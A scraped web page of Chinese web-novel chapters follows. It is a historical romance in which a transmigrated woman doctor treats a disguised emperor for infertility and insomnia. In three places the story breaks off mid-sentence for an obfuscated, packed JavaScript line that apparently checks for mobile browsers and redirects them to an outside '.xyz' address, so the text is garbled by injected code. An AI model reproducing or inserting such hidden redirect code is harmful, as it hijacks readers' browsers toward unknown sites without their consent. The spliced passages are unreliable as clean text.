可我又不敢高估赵旭的心胸,他没有恩将仇报就已是太阳打西边出来了,还能指望他“宽宏大量”么! 若宋琛因着宋珩之故,包庇于我,倒还有几分可能。 宋珩感情上是个渣渣,可其他方面,我得承认宋珩对我很厚道。这也是宋珩的不好之处,渣的不够彻底,衬得我像个不知好歹的恶妇一般! 宋琛若因我“徇私枉法”,也不知会不会引起赵旭的不快。 不比宋珩,他上位艰难,混了数十年,才抓住机会,一朝飞黄腾达。 当年宋珩读书好,是京中知名的大才子,也是备受期待的科举种子。各大赌坊开盘,压科举状元,宋珩的赔率最低,因为人人都觉得以宋珩的本事,状元定能手到擒来。当年宋珩得了榜眼,真真是个大冷门! 比起宋珩的才华横溢,宋琛却于科举一道上毫无天赋,只喜欢舞刀弄棒,以及读些不相干的杂书。为了谋生和一展所长,十六岁那年,宋琛找了个门路,进了锦衣卫。但锦衣卫里面人才辈出,关系户众多,宋琛自身性格孤傲,外加运道不行,一直没有什么建树,熬了十年也只是个边缘人物。 十一年前,宋珩是看得见的前途远大,而宋琛在京中可谓是默默无闻,也没人觉得他会有多大的前景。 谁承想,几年前他救驾有功,得了赵旭青眼,火线提拔,一跃成了锦衣卫指挥使。 宋珩回京至多也不过五品“小官”罢了,比宋琛差得远呢,即使有机遇赶超宋琛,他也有得熬! 每每想到此处,我不禁感慨:还是老爹眼光毒啊,早早就看出了宋琛并非池中之物,只是欠缺机遇和伯乐。 可万事过犹不及,宋琛上位太快,根基不稳,朝中及锦衣卫内部都对其意见极大,经常找茬弹劾他。 为了快速立足,宋琛行事非常激进,手段格外严酷,以致落下无数话柄,一身荣辱皆系与赵旭。他若是因我恶了赵旭,误了前程,我也难以心安,毕竟受他照顾颇多。 话虽如此,可好死不如赖活着,能活则活嘛,少吃点苦头,也是好的。 正当我左右为难,患得患失之际,走在前面的宋琛突然停住了脚步,侧身而立,灯微微压低,朝我脚边照来,路顿时清晰可见起来。 我愣了一秒,意识到宋琛有话要对我说,决定我小命的时刻到了,不敢耽搁,赶紧小跑上前,与他并肩而行。 “弟妹无须忧虑。圣上他——”宋琛略微停顿后才道:“并无深究之意。” 我微微一愣,虽然有预感,但还是有些不敢置信,宋琛像是知我心中所想,也不卖关子,继续道:“刚刚我也在倚翠楼,事情的原委亦略知一二,今夜之事错不在弟妹,还望弟妹放宽心思,毋要多想。” 人家客气,我自然不能当真,抱拳谢道:“我闯下这么大的祸患,没想到还能全身而退,定然是大哥为我求情了。多谢大哥救命之恩,我今后一定会注意,不会再冲动惹事了。” “我说了,错不在弟妹,不必介怀。”宋琛微微摇头后,大约是为了证明他的话并非客套,他给我讲起了来龙去脉。 原来赵旭一伙人在倚翠街吃酒行令,还加了赌注:赢家可以支使输家现场做一件事,输家必须无条件遵从,若是输家实在做不到,现场参与游戏者则可轮番拷问输家一个秘密,有点类似真心话大冒险的玩法。 听到这里,我几乎可以肯定是赵嘉仪八百年前带来的“陋习”。 赵嘉仪穿越一场,没干过几件好事,除了改良造纸工艺,“发明”活字印刷术之外,不是剽窃名言警句,就是把现代吃喝玩乐的花样“发扬光大”。人家时彤彤好歹还推广了一下简体字和九九乘法表,主持编纂了《本草纲目》。 每次想到他的异界游,再对比我们仨的境遇,心中总会生出一股嫉妒,无数次怒问苍天:我们好歹推进了历史进程,待遇怎么着也不应比赵嘉仪差吧? 可老天并不理会我愤怒,生怕我不够惨似的,还让我往更深地沟里滑去,怨天尤人多年后,想到前世王莽的下场,终于明了:原来我们干涉得太多了,所以才遭到了天谴。 “弟妹!”宋琛见我走神了,轻咳几声。 “大哥您继续,我听着呢。”我赶紧回过神,收起对老天爷的愤懑,继续听宋琛的讲述。 我经过倚翠街之时,刚好郭公公赢了,赵旭成了输家。郭公公支使赵旭与我搭讪,以自身魅力取来我头上的金钗就算过关。 我一直百思不得其解的地方顿时豁然开朗:我说赵旭身为皇帝,富有五湖四海,怎么会执意要我一根金钗! 原来我今夜无妄之灾的根源在郭公公身上啊,亏我还以为这个娘娘腔是个好人! “郭公公也忒会玩了!”只因娘娘腔多看了我一眼,就遭此横祸,我相当不服气:“我跟他什么仇什么怨,倚翠街姑娘多得是,凭什么挑我!” “郭公公起先并未注意到你。” 宋琛再次摇头,欲言又止,最后还是开口道:“我们在行令之际,有锦衣卫抱怨,街上有一中年妇人,形容猥琐,目光如狼似虎,专门盯着锦衣卫不放,甚是放肆,所以郭公公才起身去窗边看了你一眼,大概觉得甚是有趣,故意捉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730419|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄于你。” 我:“……” “锦衣卫可真够金贵的,连看都看不得了。长得那般打眼,谁不多瞅两眼。既然不愿让人看,何不蒙上一块面巾出门?” 郭公公故意装晕,放我跑路,尚算还有一丝良心,也不再揪着他不放,开始炮轰起锦衣卫,这帮小子生得人模狗样,嘴咋这么碎呢! 宋琛呼吸微滞,手中的灯火剧烈舞动起来,过了好一会儿后,才平静道:“今夜确实他们多嘴了,我日后定会严加管教。不过看在他们故意放水的份上,还望弟妹勿要与他们计较。” 我:?! “弟妹莫不是以为锦衣卫已经无能到连个女子也抓不住了?” 宋琛眼里闪过一丝笑意,“锦衣卫开始不知是弟妹,询问被扣住的暗卫后,才知道大水冲了龙王庙。弟妹孤身离去后,担心你有危险,两个锦衣卫还特意暗中护了你一路,又见你在河边徘徊,担忧你想不开投水自尽,紧急通知于我,所以我才知道弟妹在百花井巷。” 这叫什么,打个巴掌,再给个甜枣么! 我不由为之气结,可我除了受些惊吓,损失了一身衣裳之外,倒无大碍,好像只有赵旭白白挨了顿揍。 依赵旭的性子,岂肯善罢甘休? 我不好直言赵旭刻薄寡恩,旁敲侧击道:“郭公公和锦衣卫消极怠工,全程放水,圣上万一得知此事,难道不会怪罪吗?” “圣上不会追究的。”宋琛闻言,停下脚步,偏头定定地看向我,眼底暗流闪过,似有深意,大概见我面露不屑,摇了摇头,继续向前走:“圣上大多时候还是讲道理的。我知弟妹对圣上下旨抓你入狱之事成见颇深,可到底他还你清白了。 而且我听汪公公提过,对你用刑也并非圣上之意,乃东厂前督主刘吉为了邀功,擅自做主罢了。圣上嘴上虽不说,近年来也颇有后悔之意,常言若你的入微之术还在,医学进展定然不至于如此缓慢。” 赵旭当然要后悔了,他距离而立之年仅有四年,离那个箴言越来越近了。 十一年前,有高人为还是太子的赵旭批命,留下一句箴言:虽富贵至极,但是个短命鬼,必死于风月二字,难活过而立。 受箴言影响,赵旭生怕自己后继无人,一心想生儿子,放纵多年,可收效甚微,直到现在还无一儿半女。 若我的金手指——入微之术还在,定能帮他找出不育的病根,对症下药之下,说不定还能治好他的毛病,令他死前摆脱不育的帽子。 如今我的金手指不复存在,即使我不计前嫌愿意帮他,可巧妇难为无米之炊,爱莫能助啊! 说起不育,脑海一阵火花闪过,过往的记忆慢慢浮现出来:四年前那个饱受“不育”之苦的狗大户和赵旭一点一点地重合了起来…… 淦,我这该死的脸盲症,竟然一而再,再而三地面对仇人却不知! 5. 第五章 番外一 受李家牵连之故,李素娥从小一起长大的好友不幸流落教坊司,为了减轻心中的愧疚,她隔三差五去探望好友,替其解决些麻烦。 听闻教坊女子就医之时,常遭世人挖苦和嘲笑,李素娥化名“韩梅梅”,每次探望好友之际,专门抽一个时辰为教坊女子看诊。 李素娥虽失去金手指,医术大退,可经验实在丰富,即使不依靠金手指,水平也远超世上大多数大夫。 一来二去“韩梅梅”在烟花柳巷里渐渐积攒了些名声,看诊之人越来越多,李素娥索性租下教坊司隔壁的铺面,定期来此坐诊行医。 本来李素娥只瞧妇人方面的毛病,一些纨绔子弟见她水平极高,身体不适之时,也请她帮忙看看,出手还颇为大方。 虽然女子看男子隐疾易引人非议,可世道艰难,挣钱不易,李素娥便舍了面皮儿,开拓了新业务。 大概前世见多识广,她于此道还颇有天赋,涉猎的方面也越来越广,上至不孕不育,下至尿频尿急,来者不拒。 自此声名鹊起。 景化六年,李素娥正如往常一般在馆中坐诊,目送四号病患离开后,顿感口干舌燥,端起桌上的茶杯一饮而尽,再一次怀念起跟了自己两世的金手指。 周芍从小五感敏锐,五感远超常人。 随着年龄的增长,她的五感还在变得越发强大,到十八岁那年,已经近乎修仙小说中的神识,方圆五米之内的所有活物,心念微动便可感知得一清二楚。 若将精神集中在某个人身上,此人的身体内部在她眼里就如同完全透明的一般,精神越集中看得越细微,甚至能感受到细胞层面。 陆誊明白“木秀于林,风必摧之”的道理,严厉叮嘱周芍:不要向任何人透漏此事,也不准随意使用这种能力。 高考填报志愿时,陆誊建议她学习医学影像专业,日后从事医学检验工作,既可发挥她的能力,又能掩饰她的特别。 哪知当年所报学校的影像专业分数大幅度上升,因此周芍被调剂至该校临床专业。临床众所周知工作强度大,陆誊不愿周芍太过辛苦,让她复读,来年再考。 但因家里发生重大变故,全靠刚毕业工作的陆誊养家,故而周芍没有复读,打算到大一结束再转专业。只是刚把转专业的申请交上去,便被陆誊的前女友活活撞死。 其实陆誊的前女友只想和陆誊同归于尽,可周芍五感发达,反应敏锐,提前察觉了她疯狂行为,冲过去将陆誊推了出去,自己却没躲过,死得时候还没过十八岁生日。 周芍的能力虽然听起来很神奇,但由于不能暴露,同时显微镜、CT等现代设备完全可以发挥相同的功能,事实上于她用处不大,反而深受其扰,苦不堪言。特别晚上睡觉时,一点风吹草动便能吵醒她,以致她的睡眠从小就不太好。 成为李素娥后,她的神识一如既往的强大,在这个科技落后的时代,发挥了改天换地的作用。比如行医之际,只要集中精神,往病者身上一扫,须臾之间就找出了问题所在,堪称“行走的全能检测机”。 世人异之,皆称周神医有入微之术,而李素娥调侃其为金手指。 失去金手指后,李素娥不得捡起丢掉多年的《诊断学》,依据过往经验,结合“视触扣听”的方式,还因“视触扣”的慎用,有时不得不耗费大量时间来确定病患的病因。 “狗日的赵旭,狗日的先帝!”由俭入奢易,由奢入俭难,李素娥每每口干舌燥之际,便要问候一番赵旭和先帝,口头占完便宜后,立刻冲外面喊道:“五号!” 排在门前等候的五号应声而入,后面还跟着一高一矮的随从。 李素娥抬眼打量一下三人的帷帽,便神色平淡地移开了目光,显然类似眼前三人遮遮掩掩的病患,已经是见怪不怪了,如往常一般暗自猜测:看来五号的病,有些难以启齿。 果然五号自述成婚多年,姬妾无数,却未得一儿半女。由于三代单传,须生个儿子继承家业,以慰父母。若能得愿,必有重谢。 并非后世喜欢给员工画大饼的老板,五号话音刚落,高个随从便掏出数十个金元宝砸在李素娥桌上,言是定金。 李素娥略微咽咽口水,精神亢奋起来,兴奋地摩拳擦掌,拿出近年来的最大耐心,事无巨细地问起九爷的过往病史以及生活习惯等等。 五号十分坦荡,一一细述,不像有的病人遮遮掩掩,讳疾忌医。 李素娥听得眉头狂跳:好家伙,动辄通宵达旦,服食醒神安眠之物,长达四五年! 李素娥又追问他服了些什么醒神安眠之物。 五号直言:金丹和美酒。 李素娥心道:你这不是能不能生的问题,而是能不能活的问题啊! 在了解过五号的过往症状后,李素娥暗暗可惜:这单生意做不成了。 针对男子不育的问题,李素娥大体将其分为两类: 一类是环境习惯影响,比如高温,抽烟,饮酒,熬夜,不运动,骑行,挑食等。如果及时改正,调理得当,便有机会恢复生育。李素娥治愈的不孕病患,百分之九十九是此类。 另一类则是器官性质病变,以现有的医疗水平,几乎没有治愈的可能。 根据五号的自述,李素娥基本可以断定他的不育之症主因在后一类,没救! 李素娥同情地看了一眼五号,尽量委婉地道:“你还是先不要管生儿子的事了。由于长期服用金丹烈酒之故,你的身体受损严重,若不及时调理,恐怕有性命之忧。” 五号沉吟一会儿后,豁达道:“既然如此,还请韩医师为在下开些调理方子,若效果好,先前的承诺照样作数。” 瞄了眼金灿灿的元宝,李素娥又打起鸡血,要求五号掀开帷帽,想要看一看他的面色。 “九爷,不可!”五号还没出声,他身后的矮个随从就跳出来制止,对着五号摇摇头。 “大可不必这么紧张。”李素娥见九爷出手不菲,猜测他可能是个名人,而矮个随从对她甚是防备,估计是怕她认出五号,日后泄露了五号的隐疾,令五号名誉受损,安慰道:“我不会胡说八道的,影响不了你们九爷的名誉。” 其实事情的缘由与李素娥所想相差甚远。 矮个随从名叫郭莱,是一名大内高手,汪静升任提督后,见他武艺非凡,行事稳重,特安排他贴身保护当今皇帝赵旭,至今已快一年。 郭莱自是知道眼前的女子不是什么“韩梅梅”,而是前锦衣卫指挥使李素基的妹妹李素娥。他早听闻此女性情暴躁易怒,行事冲动偏激,还忘恩负义,丝毫不念旧情。 三年前,因“毒害先帝”一案,宋珩为她到处奔走,却四处碰壁,万般无奈之下求到了时任西厂督主汪静的跟前,答应今后愿为汪公公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730420|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马前卒,才得以面见圣上,说动圣上重新彻查此案,还了李素娥清白。 只是宋珩从此声名狼藉,不再容于清流。 李素娥又不知何故七窍流血,生命危在旦夕,也是宋珩延请名医,衣不解带亲自照料多日,才得以保住性命。 虽然郭莱瞧不上宋珩儿女情长不顾前途的做派,可也不得不承认宋珩的情深意重。 这般品貌的男人即便有个红颜知己,那也是天下女人打着灯笼也难找的好男人。 而李素娥却不知好歹,刚死里逃生,尚处于奄奄一息之中,仅仅因为听到宋珩的表妹生了个儿子,便翻脸不认人,当场夺过宋珩手中的药碗,将宋珩砸了个头破血流。 悍妒凶残至此! 想到这里,郭莱更如临大敌了,就怕她认出圣上,暴起伤人。 至于圣上不育之事,众人原本只是私下猜测,不知谁哪个胆大包天之辈盖棺定论了。此事传遍朝野内外,传得还十分难听,根本不多她一个胡说八道的…… 李素娥见郭莱不信,解释道:“我有轻微的面盲之症,没有点交情或深仇大恨之人,我根本记不住他的脸。过两天,你们即使站在我跟前,我也认不出你们来。” 郭莱闻言右手紧握,以李素娥的小肚鸡肠,圣上大概算得上深仇大恨之人…… “小菜退下,无妨,我信得过韩医师的人品。”五号自然便是赵旭,冲郭莱摆摆手,示意他不必紧张,丝毫不在意地摘下帷帽。 郭莱见赵旭一意孤行,只好死死地盯着李素娥以及她手边的茶碗,看到李素娥在看清赵旭的样貌后,神色波澜不惊,并无任何的异常之举之后,依旧不敢放松,以为她在打什么坏主意,心中暗自警惕。 李素娥对于赵旭自然印象深刻,只是记忆还停留在他少年时期的男孩模样。而赵旭形貌与往日大不一样,她非但没有认出赵旭,还在心中啧啧:人不可貌相啊! 本来她以为五号长期酗酒嗑药,应是个面貌猥琐的油腻男子,不想五号生得浓眉大眼,神情端正,跟猥琐油腻毫不沾边,相貌算不上出众,只能说周正,但通身自有一股不怒自威的气势。 但细看之下,五号眼底青黑,神色倦怠,一点也没有年轻人该有的精气神儿。 为赵旭把过脉之,又问了他好些问题,李素娥心里有数了,直言:“你表面看上去体魄强健,内里实则已是千疮百孔了,全靠年轻撑着。若继续酗酒嗑药放纵自己,恐怕会英年早逝。” 赵旭闻言也不惊慌,还饶有兴致地追问李素娥:“那我能活多久?” “我又不是阎王爷,这谁说得准。” 李素娥笑了笑:“你最主要问题是免疫差,抵抗力弱。哦,就是你们常说的身体底子薄,扛不住病,容易猝死,有可能一场轻微的受凉就能带走你。但若注意生活习惯,调理得当,倒也和常人无异,至少活个四五十岁不成问题。”说完将写好的方子递给他。 赵旭拿起方子扫了一眼后,不可置否道:“牛乳、枸杞……韩医师,方子前边怎么看着有点像食谱,后边的几味药也很简单……” “别看方子简单,它可是经过大量临床实验的,有修复肝肾功能之效。”李素娥听出了赵旭的怀疑,简单解释之后,又担心他胡乱吃药,严厉警告道:“你身体虚弱,可不要随便进补,先恢复作息,配合饮食,增强身体抵……咳……元气。” 6. 第六章 番外二 “原来如此,是在下唐突了,还望韩医师勿要计较在下的失礼之处。”赵旭望着李素娥歉意满满道。 郭莱偷偷瞥了方子一眼,若有所思,太医院的霍良开过一副完全相同的方子,只是效果不大。 以前他还以为霍良徒有其名,听了李素娥的解释后,明白问题出在圣上身上——仅重药食调理,对养生之言却置之不理,身体怎能不日渐虚弱! …… 一个月后。 李素娥正如往常一般坐诊行医,叫到五号时,两个戴面具的男子一前一后地走了进来。 打头的男子似乎处境不妙,走路摇摇晃晃,仿佛一阵风就可以将其吹倒,后面矮个男子紧紧地跟着后面。 李素娥一惊,慌忙站起,冲着后面的矮个子不满道:“他都这样了,你怎么不扶一下!” 矮个子低着头,也不解释。 “与他无关。”高大男子摆摆手,有气无力道:“韩医师,我还没到走路都要让人搀扶的地步。” 李素娥叹了一口气,心道:看来这个大高个就是今天的五号了,都这般恼火了,还讲什么面子。 五号艰难地晃荡到椅前,如软泥一般摊在上面,待气息稍稍平复后,才缓缓摘下面具,“韩医师,我们又见面了。” 李素娥看着眼前脸颊苍白浮肿,眼圈青黑,活像被妖精吸干生气的五号,内心一片茫然,听他熟稔的口气,似乎是认识的,但她想了好一会,却发现根本没印象。 郭莱见了,暗中摇头,知道李素娥没有认出圣上,经过多回试探,已经确认她的脸盲之症所言非虚,还知道实际上李素娥的记性极好,半年内开过什么方子,给谁开的,她都记得一清二楚,就是人脸对不上号。 其实李素娥的脸盲是从前世带过来的,不算特别严重,辨得出美丑,只是转头即忘,因此除了至亲至友,一般不记他人的相貌,待人家自报来历后,她再重新对号入座。 但也并非完全不能唤起她的记忆,自李素娥失去金手指后,脸盲逐渐有了改善,现在大致能留存五十来人的模糊样貌,虽然长期不接触,那人的样子会随着时间的流逝,变得越发模糊,甚至再次遗忘。 由于记忆名额有限,依李素娥那现实又势利的品性,一般只记三种人:其一重大金钱往来的利益相关者;其二宋家摆不平的位高权重者;其三有深仇大恨的。 郭莱虽不甚明了李素娥的记忆标准,但还是知道此人见钱眼开,尤爱金元宝,越多越能勾起她的印象,于是从怀中掏出数十个金元宝,一排摆开,金光闪闪,煞是动人心。 李素娥见了金元宝,惊讶地“咦”了一声儿,又细细地瞅了瞅赵旭,脑海中一些片段断断续续地闪过。 “服食金丹和饮酒过量。”赵旭见她似乎有些印象了,开口提示,见她还未完全想起,轻咳一声,吐出两个字:“无子。” “啊,是你,你这是怎么回事?”李素娥才意识到眼前这个摇摇欲坠的五号,是上次那个出手大方的狗大户,不由地大惊: 上回见他只是精神萎靡,怎么经过调理之后,反而愈发严重了,感觉就要当场去世一般! 赵旭脸色虚弱地靠在椅背上,捂嘴打了个哈欠,幽幽道:“自从未服用金丹和酒之后,白天没精打采,晚上辗转难眠,至今已有月余未曾好好睡过。” 李素娥:“……” 李素娥简单地为赵旭检查一番,又询问了他几个问题后,才皱眉道:“你以前服食的金丹应该有致瘾性,现在突然戒除,身体大概适应不了,恢复需要一个过程。不过睡眠一定要充足,晚上睡不着,白天可以多睡会儿,待身体适应之后,再慢慢恢复正常的作息。” 赵旭闻言坐直身体,微微前倾,以手支在桌上,撑着下巴:“可是韩医师,在下心中若有记挂,便难以入眠,所以才会饮酒助眠。但酒后易头昏,不能处理事务,只好服食金丹醒神。可服食金丹后,人又亢奋更加难以入睡……自两位亲人先后过世后,家中发生了许多事,无法释怀……往复之下,已成了瘾癖,再也难以根除。” 一旁的郭莱内心震动,他一直知道圣上有服食金丹和酗酒的习惯,还以为有奸人引诱,圣上才染上不良癖好,以致危及龙体,现在才知道原来根源竟在圣上自己身上。 又思及圣上十七岁匆忙登基后,各地叛乱此起彼伏,内有长兴王欲取而代之,外有柔然、后汉虎视眈眈,内忧外患之下,大周隐隐有亡国之相。 圣上却以雷霆手段,短短六年间,消弭祸乱,平息纷争。虽然底下依旧暗流涌动,但帝国已止住了崩溃之兆,渐渐展露出了蓬勃向上的新气象。 世人皆赞圣上运筹帷幄,堪称一代雄主,可谁又能想到圣上背地里却饱受煎熬,甚至不得不依靠外物填补忧惧苦闷…… 郭莱正胡思乱想着,只听赵旭继续道:“上次韩医师说继续服食,恐有性命之忧。在下思来想去,为了性命着想,还是决心戒除,只是没想到后劲这么大。” 郭莱心中一跳,眼神不住地在赵旭和李素娥之间来回转动。 怪哉!霍太医曾经劝了无数次,圣上都当作耳旁风,见了李大姐后却立马照办,还坚持了一月之久。难怪霍太医惊讶至极,还疑心圣上身体是不是出了变故,所以才转了性。 李素娥听了赵旭的讲述后,深感棘手,原本以为赵旭就如平常的纨绔子弟一般,因心里空虚无聊,故意放纵自我罢了,没想到为了缓解失眠。 失眠的痛苦,她深有体会。 一年前,她也失眠得厉害,经常睁着眼睛到天亮,明明疲惫不堪,却毫无睡意,简直将人折磨得发疯。不过源于心病的失眠,即使前世,也只能药物缓解,不能根除,除了自医,别无他法。 “失眠的确很痛苦,饮酒服金丹也只是饮鸩止渴罢了,对肝肾伤害太大了,无论如何不能再服用了。可你的身体外强中干,长期不睡也是个大问题,嗯——这里有个方子正适合你用。”李素娥同情地望着赵旭,忽然眼睛一亮,想起一道方子。 此方是为了还原传说中的麻沸散,好用以手术之中,才特意去研制的。只是耗费大量财力后,却得出了个啼笑皆非的方子,其效果仅能令人昏睡,完全达不到手术所需的昏迷状态,刀子刚下去,人就跳起来了。 由于此方造价过于昂贵且实用性不强,没有推广价值,李素娥只好将其束之高阁。 “我给你一个方子,你自己去配制,不用煎熬,磨成药粉,睡前可兑热水喝,很快就能入睡。” 李素娥刷刷两笔将方子写好了,一面递给赵旭,一面可惜道:“这药副作用极小,只是抗性极强,吃个半月就没效果了,否则不失为特效药,所以心病还需心药医,不要试图依赖外物。以我个人经验来说,最好还是找到一个缓解焦虑的法子,你的失眠或许会不治而愈。” 赵旭眼睛一亮,像是找到了知音,拱手道:“听韩医师之言,似乎也被失眠困扰,而且还找到了解决之法。请韩医师教我,在下必有重谢。” “只是些个人经验之谈罢了。因人而异,对我有效,对你未必有用。”李素娥瞄了一眼桌上的金元宝,假意客气道:“重谢嘛——受之有愧啊。” 俗话说,人为财死,鸟为食亡。 爱财如命的李素娥被金元宝冲昏头脑,毫不心虚地干起了心理医生的行当,但她也并非完全胡侃骗钱。 曾经由于长时间缺觉,李素娥身体各方面都亮起红灯,特别是心脏经常无缘无故地剧烈跳动,几乎要跳出胸腔,感觉离猝死不远了。来此坐诊行医,也不过想在死前发挥一下余热。可摸着赚来的银子,偶尔跟求医之人插科打诨,晚上回家研究研究病历,她反而睡得着了。 “我们先从失眠的分类说起……”李素娥凭着经验之谈,结合前世一鳞半爪的心理学知识,说得似模似样,还真有几分前世心理医生的架势。 赵旭听完抚掌轻笑:“韩医师知识广博,涉猎之深,在下深感佩服。依韩医师所言,在下最好找一个爱好,让自己闲不下来,防止自己胡思乱想,比如韩医师的为人治病。” “你要这么理解也没错,不过我并非喜欢行医,主要是赚钱使我快乐。”李素娥正色道。 郭莱闻言不由鄙夷,果然家学渊源,辽东的风气就是被李家带坏的,开口闭口就是钱,一心向钱看,九边闹得最厉害的就是辽东。 若是李素娥得知他的想法,定会嗤之以鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730421|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“辽东军民为了过上好日子,付出巨大的心血,眼看着好日子就要来了,结果一朝归零,是个人都要闹一闹!” …… 郭莱踏入太医署时,医官们身着蓝白相间的统一制服,带着面巾,提着数只白老鼠进进出出,无不满眼晦气。 自从霍良任太医令后,便将新医“验药”“双盲”那套东西引了进来,浪费海量的人力物力,没验出个蛋蛋,他们这群医官却无辜背上杀孽,干起了屠夫勾当,每天不是杀鸡宰鸭,就是折磨小白鼠。 霍良,霍良,人如其名,专霍霍良医一脉。 医官们见了郭莱,立刻停止抱怨,面带巴结纷纷迎上来请安,知道郭公公深受圣上器重,保不准是第二个刘公公、汪公公,一步登天指日可待。若能讨好于他,今后帮着在圣上面前美言两句,也许还能得了圣上青眼,从此不再受霍良的鸟气! 郭莱知道这帮人位置不高,可得罪不得,说不定哪天求到他们手里,万一手一抖,零件就少了一个,好脾气地挨个回礼,然后一刻不停,直奔最角落霍良的专属实验室。 太医院人人腹诽的霍良此时正站在一具尸体前面,全神贯注地低头做着缝合,手上的针线灵活地穿梭于血肉之中。他的技艺极为高超,若非场合不对,甚至给人一种富有韵律的美感。 郭莱不敢打扰,屏息看着霍良将尸体的胸腔一点点的缝好,思维却一点一点地飘远:新医虽有违人伦,喜欢给人开肠破肚,可效果却是大大地好。只要能扛过新医的刀子,过去的许多不治之症已然有解,再不济也能拖个三五年。 听闻汪公公提起,霍太医在研究换器之术,传闻可以将别人的器官换到自己的身上,如果真的是那样,说不定自己还能留个香火…… 叮!一道金石相撞的清脆之音打破了郭莱的遐想,赶忙正了正心神。 原来霍良已经缝合结束,把手术刀放入瓷盘上,守在一旁的学徒立即端来热水,训练有素地为其取下面巾,一张斯文俊雅的脸顿时出现在众人面前。 由于未曾蓄胡须,他的皮肤白皙细腻,除了眼角有几丝细纹,面貌看起来十分年轻,一点儿也不似四十岁的人。 待清理完毕,换上一身干净外袍,霍良才看向等了良久的郭莱,欠身笑道:“郭公公,失敬失敬,令您久等了。” “不妨事,未曾通报,就擅自闯入,是我惊扰了您才对,霍太医可莫要与我计较。”两人客套一番后,郭莱也不兜圈子,直接将默记的方子递给霍良,询问他此方有无问题。 霍良诧异地接过,略微扫了一眼,旋即冷笑:“怪不得圣上转性,原来找了她,圣上还真是信任他们兄妹两个!” 郭莱到赵旭身边时,很多事情已经尘埃落定,导致众多内情不明就里。但他还是知道李素基乃宫中禁忌,无人敢提,也无人敢打听。 至于李素娥倒无此忌讳,郭莱偶尔还听圣上主动提起,只是每每谈及她,圣上常面露不屑,却也不多言。从圣上偶尔透漏的只言片语中,似乎二人有些渊源,并非仅仅因为李素基的缘故。 而霍良与李素娥同出辽东新医一脉,皆为“周芍”高徒,想来知道些内幕。 郭莱不动声色地套话:“霍太医此话从何说起,愿闻其详。” 霍良似笑非笑地觑郭莱了一眼,抖了抖手中的方子:“此方名为蒙汗药,兑水送服可令人昏睡。我这里还有个升级版的“三步倒”,吸入鼻中,顷刻间全身不能动弹,一刻钟内任人鱼肉。药效过后,对身体倒是无害,最多起些疹子罢了。” 郭莱明白霍良识破了自己的小心思,知道不可能从他口中得到关于李氏兄妹之事,既已得知方子无害,拱手致谢后,直接告辞准备离开。 “郭公公留步。”霍良却叫住了郭莱,走到他身前,略带歉意道:“如今您深得圣上信重,来日成就定然不可限量,本来应对郭公公知无不言。可在下不过太医令,卑不足道,有些事不便告知公公,还请公公见谅。 我只能提醒郭公公,对宋夫人还是客气些。虽然李氏败落,她又是个没脑子的,但其背后势力错综复杂,圣上待她也不一般。据我所知,似乎前提督刘公公因对她擅自用刑,才失宠于圣上。” 7. 第七章 番外三 “小菜啊,我感觉你状态不太好哇,最近是不是熬夜熬多了?” 经过郭莱多次元宝探路,李素娥拿人手短,自然记住了这对自称九爷和小蔡的土豪主仆,见站在赵旭身侧郭莱脸色惨白,忍不住地关心一二。 郭莱闻言,顶着浓重的黑眼圈,幽幽地看向跟个没事人儿的赵旭。 圣上没有服用“蒙汗药”,而是选择了“心药”。只要睡不着觉就起身地处理国事,也不会亏待自己,困了就迅速结束话题,屏退众人,留下一堆人面面相觑。 同时还养成了极大的床气,若非十万火急的要事,谁敢惊扰他的清梦,一顿大发雷霆少不了的。 为了配合圣上的节奏,近臣内侍们不再区分白昼黑夜,步入了“弹性”上班生涯。反复折腾之下,郭莱无师自通地理解了李大姐所说的“神经衰弱”。 李素娥瞧见郭莱幽怨的小眼神儿,又瞟了一眼不动如山的赵旭,心头的八卦之火熊熊燃起。 在她眼中,“小菜”肤白貌美,待“九爷”忠心耿耿之余,还体贴入微。而“九爷”对“小菜”也颇为宠信,他偶尔的冒犯和淘气,“九爷”从来不计较,每次都是轻轻揭过。 自从认得这对“主仆”后,李素娥每次见了他们,表面一本正经,实则心里不住“嗷嗷叫”,高举主仆CP大旗,脑补了多出缠绵悱恻的小剧场。 郭莱被李素娥的灼灼目光盯得发毛,无措之下,转头看向赵旭。 赵旭笑容“和善”地回了郭莱一个“你小子不错嘛”的眼神。 郭莱微微一抖,心中暗暗叫苦。 原本郭莱以为霍良所说的“不一般”,是赵旭顾念李素娥背后的“新医”和“新学”。 二十五年前,即泰和十年。 在先帝的支持之下,姜侯爷在江浙一带收流民,练新兵,开各式作坊,将时人眼中的“奇技淫巧”发展到空前强大的地步,并自圆其说了一套伦理,称为之“新学”。 